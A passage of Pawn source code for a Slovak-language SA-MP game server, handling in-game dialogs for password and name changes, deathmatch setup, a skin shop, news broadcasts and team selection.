                        timeleft = (dini_Int(way,"VIP_Time") - dini_Int("SL/Server/ServerTime.cfg","Time")) / 1440;

                        format(string,256,"VIP: %s\nPočet zostavajúcich dni: %.0f",viptarif,timeleft);
                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"VIP",string,"OK","Cancel");
                    }
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Info2)
        {
            if(response == 1)
            {
                new Name[24];
                GetPlayerName(playerid,Name,24);
                new way[32];
                format(way,32,"SL/%s.cfg",Name);
                if(!inputtext[0]) return ShowPlayerDialog(playerid,Dialog_Info2,DIALOG_STYLE_INPUT,"Change password","{ff0000}Nezadal si heslo !{ffffff}Zadaqj svoje staré heslo:","Dále","Cancel");
                else if(strcmp(dini_Get(way,"Password"),lyrhash(inputtext),false)) return ShowPlayerDialog(playerid,Dialog_Info2,DIALOG_STYLE_INPUT,"Change password","{ff0000}Zle heslo ! {ffffff}Zadaj svoje staré heslo:",")Dalej","Cancel");
                else
                {
                    ShowPlayerDialog(playerid,Dialog_Info3,DIALOG_STYLE_INPUT,"Change password","{ffffff}Zadaj svoje nové heslo:","Dále","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Info3)
        {
            if(response == 1)
            {
                  new Name[24];
                GetPlayerName(playerid,Name,24);
                new way[32];
                format(way,32,"SL/%s.cfg",Name);
                if(!inputtext[0]) return ShowPlayerDialog(playerid,Dialog_Info3,DIALOG_STYLE_INPUT,"Change password","{ff0000}Nezadal si heslo !{ffffff}Zadaj svoje nové heslo:","Ďalej","Cancel");
                else
                {
                    dini_Set(way,"Password",lyrhash(inputtext));
                    new Text2[128];
                    format(Text2,128,"{ffffff}Úspešne si si zmenil heslo !\nTvoje nové heslo je: {ffff00}%s",inputtext);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Change password",Text2,"OK","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Info4)
        {
            if(response == 1)
            {
                new way3[32];
                format(way3,32,"SL/%s.cfg",inputtext);

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_Info4,DIALOG_STYLE_INPUT,"Change password","{ff0000}Nezadal si meno !{ffffff}Zadaj svoje nové meno:","Change","Cancel");
                else if(strlen(inputtext)<4) return ShowPlayerDialog(playerid,Dialog_Info4,DIALOG_STYLE_INPUT,"Change password","{ff0000}Minimálne 4 znaky !{ffffff}Zadaj svoje nové meno:","Change","Cancel");
                else if(strlen(inputtext)>20) return ShowPlayerDialog(playerid,Dialog_Info4,DIALOG_STYLE_INPUT,"Change password","{ff0000}Maximálne 20 znakov !{ffffff}Zadaj svoje nové meno:","Change","Cancel");
                else if(dini_Exists(way3)) return ShowPlayerDialog(playerid,Dialog_Info4,DIALOG_STYLE_INPUT,"Change password","{ff0000}Hráč zo zadaným menom už existuje !{ffffff}Zadaj svoje nové meno:","Change","Cancel");
                else
                {
                    new msg[128], oldname[24], newname[24];
                    GetPlayerName(playerid,oldname,24);
                    SetPlayerName(playerid,inputtext);
                    GetPlayerName(playerid,newname,24);

                    format(msg,128,"Hráč %s (%d) si zmenil svoje meno na: %s",oldname,playerid,newname);
                    GivePlayerACMoney(playerid,-100000);
                    SendClientMessageToAll(COLOR_ORANGE,msg);
                    new newway[32];
                    new oldway[32];
                    format(newway,32,"SL/%s.cfg",newname);
                    format(oldway,32,"SL/%s.cfg",oldname);
                   
                    dini_Unset("SL/Server/AllPlayers.cfg", oldname);
                    dini_IntSet("SL/Server/AllPlayers.cfg", newname, 1);

                    if(Player[playerid][FirmP] != 9999)
                    {
                        new fway[40];
                        format(fway,40,"SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmP]);

                        dini_Set(fway, "Majitel", newname);

                        Delete3DTextLabel(Firm[Player[playerid][FirmP]][Text3D]);
                        new fstring[256];
                        format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmP]][Trzba]);
                        Firm[Player[playerid][FirmP]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmP]][fpX], Firm[Player[playerid][FirmP]][fpY], Firm[Player[playerid][FirmP]][fpZ], 40, 0);
                    }

                    if(Player[playerid][ClanP] != 9999)
                    {
                        new cway[64];
                        format(cway,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                        new P_Name[16];
                        format(P_Name,16, "P%d_Name", Player[playerid][ClanRank]);

                        dini_Set(cway, P_Name, newname);

                        if(Player[playerid][ClanRank] == 0)
                        {
                            dini_Set(cway, "Majitel", newname);
                            dini_Set(cway, "P0_Name", newname);

                            Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                            new c3Dstring[150];
                            format(c3Dstring, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway, "Name"), dini_Get(cway, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                            Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);
                        }
                    }

                    if(!dini_Exists(newway))
                    {
                        if(Player[playerid][HouseP]!=9999)
                        {
                            new way5[32];
                            format(way5,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                            Delete3DTextLabel(House_V[Player[playerid][HouseP]][Text3D]);
                            dini_Set(way5,"Majitel",newname);
                            new housestring[128];
                            format(housestring,128,"[ House ]\nMajitel:\n%s",dini_Get(way5,"Majitel"));
                            House_V[Player[playerid][HouseP]][Text3D] = Create3DTextLabel(housestring,0xFF0000FF,HouseStates[Player[playerid][HouseP]][E_x],HouseStates[Player[playerid][HouseP]][E_y],HouseStates[Player[playerid][HouseP]][E_z],50,0);
                        }

                        dini_Create(newway);
                        dini_Set(newway,"Password",dini_Get(oldway,"Password"));
                        dini_IntSet(newway,"AdminLevel",dini_Int(oldway,"AdminLevel"));
                        dini_IntSet(newway,"Bank",dini_Int(oldway,"Bank"));
                        dini_IntSet(newway,"WantedLevel",dini_Int(oldway,"WantedLevel"));
                        dini_IntSet(newway,"Reward",dini_Int(oldway,"Reward"));
                        dini_IntSet(newway,"Kills",dini_Int(oldway,"Kills"));
                        dini_IntSet(newway,"Deaths",dini_Int(oldway,"Deaths"));
                        dini_IntSet(newway,"House",dini_Int(oldway,"House"));
                        dini_IntSet(newway,"Team",dini_Int(oldway,"Team"));
                        dini_IntSet(newway,"Vodicak",dini_Int(oldway,"Vodicak"));
                        dini_IntSet(newway,"Zbrojak",dini_Int(oldway,"Zbrojak"));
                        dini_IntSet(newway,"Notebook",dini_Int(oldway,"Notebook"));
                        dini_IntSet(newway,"GPS",dini_Int(oldway,"GPS"));
                        dini_IntSet(newway,"Registred",dini_Int(oldway,"Registred"));
                        dini_IntSet(newway,"Hours",dini_Int(oldway,"Hours"));
                        dini_IntSet(newway,"Minutes",dini_Int(oldway,"Minutes"));
                        dini_IntSet(newway,"EBank",dini_Int(oldway,"EBank"));
                        dini_FloatSet(newway,"Skill",dini_Float(oldway,"Skill"));
                        dini_FloatSet(newway,"Respect",dini_Float(oldway,"Respect"));
                        dini_IntSet(newway,"Firm",dini_Int(oldway,"Firm"));
                        dini_IntSet(newway,"Clan",dini_Int(oldway,"Clan"));
                        dini_IntSet(newway,"ClanRank",dini_Int(oldway,"ClanRank"));
                        dini_IntSet(newway,"MobilNumber",dini_Int(oldway,"MobilNumber"));

                        dini_IntSet(newway,"Bagety",dini_Int(oldway,"Bagety"));
                        dini_IntSet(newway,"Sprunk",dini_Int(oldway,"Sprunk"));
                        dini_IntSet(newway,"Pivo",dini_Int(oldway,"Pivo"));
                        dini_IntSet(newway,"Vino",dini_Int(oldway,"Vino"));
                        dini_IntSet(newway,"Whisky",dini_Int(oldway,"Whisky"));
                        dini_IntSet(newway,"Marihuana",dini_Int(oldway,"Marihuana"));
                        dini_IntSet(newway,"Jointy",dini_Int(oldway,"Jointy"));
                        dini_IntSet(newway,"Cigarety",dini_Int(oldway,"Cigarety"));
                        dini_IntSet(newway,"Svetlica",dini_Int(oldway,"Svetlica"));
                        dini_IntSet(newway,"Dynamit",dini_Int(oldway,"Dynamit"));
                        dini_IntSet(newway,"Mina",dini_Int(oldway,"Mina"));
                        dini_IntSet(newway,"Raptor",dini_Int(oldway,"Raptor"));
                        dini_IntSet(newway,"Predator",dini_Int(oldway,"Predator"));

                        dini_IntSet(newway,"VIP",dini_Int(oldway,"VIP"));
                        dini_IntSet(newway,"VIP_Time",dini_Int(oldway,"VIP_Time"));
                        dini_IntSet(newway,"VIP_Days",dini_Int(oldway,"VIP_Days"));
                        dini_Set(newway,"VIP_PW",dini_Get(oldway,"VIP_PW"));
                        dini_IntSet(newway,"VIP_Tarif",dini_Int(oldway,"VIP_Tarif"));

                        new p_m_way[64];
                        format(p_m_way,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);
                        dini_Set(p_m_way, "Majitel", newname);
                    }

                    if(dini_Exists(oldway)) dini_Remove(oldway);

                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Change name","{FFCC00}Úspešne si si zmenil meno !","OK","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_DMReward)
        {
            if(response == 1)
            {
                if(!strval(inputtext[0])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nezadal si výhru !");
                else if(strval(inputtext[0])>999999999 || strval(inputtext[0])<0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Zadal si veľmy veľku výhru !");
                else if(Player[playerid][AdminLevel]!=5 && strval(inputtext[0])>500000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč s Admin Levelom menším ako 5 nemôže zadať maximálnu výhru 500 000$ !");
                else
                {
                    DM[Reward]=strval(inputtext[0]);
                    ShowPlayerDialog(playerid,Dialog_DMPlayers,DIALOG_STYLE_INPUT,"Death Match","Zadaj maximálny počet hráčov:\n2 - 10","Ďalej","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_DMPlayers)
        {
            if(response == 1)
            {
                if(!strval(inputtext[0])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nezadal si počet hráčov !");
                else if(strval(inputtext[0])>10 || strval(inputtext[0])<2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Počet hráčov môže byť 2 - 10 !");
                else
                {
                    DM[MaxPlayers]=strval(inputtext[0]);
                    DM[SlctdWeaps]=0;
                    ShowPlayerDialog(playerid,Dialog_DMWeapons,DIALOG_STYLE_LIST,"Death Match - Vyber 3 zbrane","Nič\n9 mm\n9 mm + tlmič\nDesert Eagle\nBrokovnice\nSawn - Off\nCombat Shotgun\nUZI\nMP5\nAK - 47\nM4\nTec 9\nPuška\nSniperka\nRPG","Ďalej","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_DMWeapons)
        {
            if(response == 1)
            {
                DM[SlctdWeaps]++;
                if(listitem == 0)
                {
                    new weaponid = 0;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 1)
                {
                    new weaponid = 22;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 2)
                {
                    new weaponid = 23;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 3)
                {
                    new weaponid = 24;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 4)
                {
                    new weaponid = 25;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 5)
                {
                    new weaponid = 26;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 6)
                {
                    new weaponid = 27;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 7)
                {
                    new weaponid = 28;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 8)
                {
                    new weaponid = 29;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 9)
                {
                    new weaponid = 30;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 10)
                {
                    new weaponid = 31;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 11)
                {
                    new weaponid = 32;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 12)
                {
                    new weaponid = 33;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 13)
                {
                    new weaponid = 34;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 14)
                {
                    new weaponid = 35;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                     if(DM[SlctdWeaps]<=1) ShowPlayerDialog(playerid,Dialog_DMWeapons,DIALOG_STYLE_LIST,"Death Match - Vyber 3 zbrane","Nič\n9 mm\n9 mm + tlmič\nDesert Eagle\nBrokovnice\nSawn - Off\nCombat Shotgun\nUZI\nMP5\nAK - 47\nM4\nTec 9\nPuška\nSniperka\nRPG","Ďalej","Cancel");
                else if(DM[SlctdWeaps]==2) ShowPlayerDialog(playerid,Dialog_DMWeapons,DIALOG_STYLE_LIST,"Death Match - Vyber 3 zbrane","Nič\n9 mm\n9 mm + tlmič\nDesert Eagle\nBrokovnice\nSawn - Off\nCombat Shotgun\nUZI\nMP5\nAK - 47\nM4\nTec 9\nPuška\nSniperka\nRPG","Create","Cancel");
                else if(DM[SlctdWeaps]==3)
                {
                    DM[SlctdWeaps]=0;
                    DM[State]=1;
                    DM[Players]=1;
                    DM[CountDown]=6;

                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(!IsPlayerNPC(i)) Player[i][DM_Player]=9999;
                        }
                    }

                    Player[playerid][DM_Player]=DM[Players];
                    SpawnPlayer(playerid);
                    TogglePlayerControllable(playerid,1);
                    SendClientMessage(playerid,COLOR_WHITE,"[ DM ] {ff0000}/dmjoin [ ID ] {ffffff}pripojíš hráča do DM");
                    SendClientMessage(playerid,COLOR_WHITE,"[ DM ] {ff0000}/dmstart {ffffff}odštartuješ DM");
                    SendClientMessage(playerid,COLOR_WHITE,"[ DM ] {ff0000}/dmend {ffffff}ukončíš DM");
                    new string[128], Name[24];
                    GetPlayerName(playerid,Name,24);
                    format(string,128,"Administrátor %s založil Death Match s výhrou %d$ !",Name,DM[Reward]);
                    SendClientMessageToAll(COLOR_WHITE,string);
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_SkinShop)
        {
            if(response == 1)
            {
                TogglePlayerControllable(playerid,0);

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_SkinShop,DIALOG_STYLE_INPUT,"Oblečenie","{ff0000}Nezadal si číslo skinu !\n\n{c5c5c5}Zadaj číslo skinu:\n1 - 299","Zhliadnuť","Cancel");
                else if(strval(inputtext) < 1 || strval(inputtext) > 299) return ShowPlayerDialog(playerid,Dialog_SkinShop,DIALOG_STYLE_INPUT,"Oblečenie","{ff0000}Neplatné ID !\n\n{c5c5c5}Zadaj číslo skinu:\n1 - 299","Zhliadnuť","Cancel");
                else
                {
                    Player[playerid][SelectedSkin] = strval(inputtext);
                    SetPlayerSkin(playerid, strval(inputtext));

                    new string[128];
                    format(string,128, "~w~ID: ~y~%d~n~~w~Cena: ~y~1000$", strval(inputtext));
                    FormatPlayerInfoBox(playerid, "~g~Obchod", string, 2000);
                }
            }
            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse",3000,0,"i",playerid);
                Player[playerid][SelectedSkin]=9999;
                PlayerCameraBack(playerid);
                SetPlayerSkin(playerid,Player[playerid][SkinIDSkinShop]);
                Player[playerid][Skin]=Player[playerid][SkinIDSkinShop];
                SetPlayerVirtualWorld(playerid,Player[playerid][SaveVirtualWorld]);
                SetPlayerInterior(playerid,Player[playerid][SaveInterior]);
                SetPlayerPos(playerid,Player[playerid][SavePosX],Player[playerid][SavePosY],Player[playerid][SavePosZ]);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_SANEWS_menu)
        {
            if(response == 1)
            {
                new Float:x, Float:y, Float:z;
                GetPlayerPos(playerid,x,y,z);

                if(listitem == 0)
                {
                    SANEWS[cX]=x;
                    SANEWS[cY]=y;
                    SANEWS[cZ]=z;
                    SANEWS[CameraPos]=true;
                    SendClientMessage(playerid,COLOR_WHITE,"Kamera bola úspešne nastavena");
                }
                if(listitem == 1)
                {
                    SANEWS[lX]=x;
                    SANEWS[lY]=y;
                    SANEWS[lZ]=z;
                    SANEWS[CameraLookAt]=true;
                    SendClientMessage(playerid,COLOR_WHITE,"Kamera bola úspešne nastavena");
                }
                if(listitem == 2)
                {
                    if(SANEWS[State]==true) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Vysielanie už prrbiehá !");
                    else if(SANEWS[CameraPos]==false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nenastavil si poziciu kamery !");
                    else if(SANEWS[CameraLookAt]==false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nenastavil si poziciu ktorou bude kamera točit !");
                    else
                    {
                        SANEWS[State]=true;
                        SendClientMessage(playerid,COLOR_WHITE,"Práve si začal žive vysielať.");
                        SendClientMessageToAll(COLOR_WHITE,"Práve začalo vysielanie na notebooku v Online TV, pokiaľ máš notebook použi: /notebook  ->  Online TV");
                    }
                }
                if(listitem == 3)
                {
                    if(SANEWS[State]==false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Vysielanie ešte neprebieha !");
                    else
                    {
                        SANEWS[State]=false;
                        SANEWS[CameraPos]=false;
                        SANEWS[CameraLookAt]=false;
                        SendClientMessage(playerid,COLOR_WHITE,"Ukončil si vysielanie.");
                        SendClientMessageToAll(COLOR_WHITE,"Vysielanie na Online TV práve skončilo.");
                    }
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team1)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=1;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,105); Player[playerid][Skin]=105; }
                    case 1: { SetPlayerSkin(playerid,106); Player[playerid][Skin]=106; }
                    case 2: { SetPlayerSkin(playerid,107); Player[playerid][Skin]=107; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team2)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=2;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,102); Player[playerid][Skin]=102; }
                    case 1: { SetPlayerSkin(playerid,103); Player[playerid][Skin]=103; }
                    case 2: { SetPlayerSkin(playerid,104); Player[playerid][Skin]=104; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s se zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team3)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=3;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,108); Player[playerid][Skin]=108; }
                    case 1: { SetPlayerSkin(playerid,109); Player[playerid][Skin]=109; }
                    case 2: { SetPlayerSkin(playerid,110); Player[playerid][Skin]=110; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team4)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=4;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,114); Player[playerid][Skin]=114; }
                    case 1: { SetPlayerSkin(playerid,115); Player[playerid][Skin]=115; }
                    case 2: { SetPlayerSkin(playerid,116); Player[playerid][Skin]=116; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team5)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/j [ID]~w~ zatknutie hraca~n~~y~/s [ID]~w~ napomenutie hraca~n~~y~/p [ID]~w~ pokuta~n~~y~/c [ID]~w~ kontrola hraca~n~~y~/wanted~w~ vypis hladanych hracov", 5500);
                Player[playerid][Team]=5;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                SetPlayerSkin(playerid,285);
                Player[playerid][Skin]=285;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team6)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=6;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,111); Player[playerid][Skin]=111; }
                    case 1: { SetPlayerSkin(playerid,112); Player[playerid][Skin]=112; }
                    case 2: { SetPlayerSkin(playerid,113); Player[playerid][Skin]=113; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team7)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=7;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,21); Player[playerid][Skin]=21; }
                    case 1: { SetPlayerSkin(playerid,28); Player[playerid][Skin]=28; }
                    case 2: { SetPlayerSkin(playerid,29); Player[playerid][Skin]=29; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team8)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~w~Hitman ma za ulohu zabijat ludi na ktorych je vypisana odmena.~n~~n~~y~/bounties~w~ Vypis hracov na ktorych je vypisana odmena.", 5500);
                Player[playerid][Team]=8;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(2);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,111); Player[playerid][Skin]=111; }
                    case 1: { SetPlayerSkin(playerid,112); Player[playerid][Skin]=112; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team9)
        {
            if(response == 1)
            {
                Player[playerid][Team]=9;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
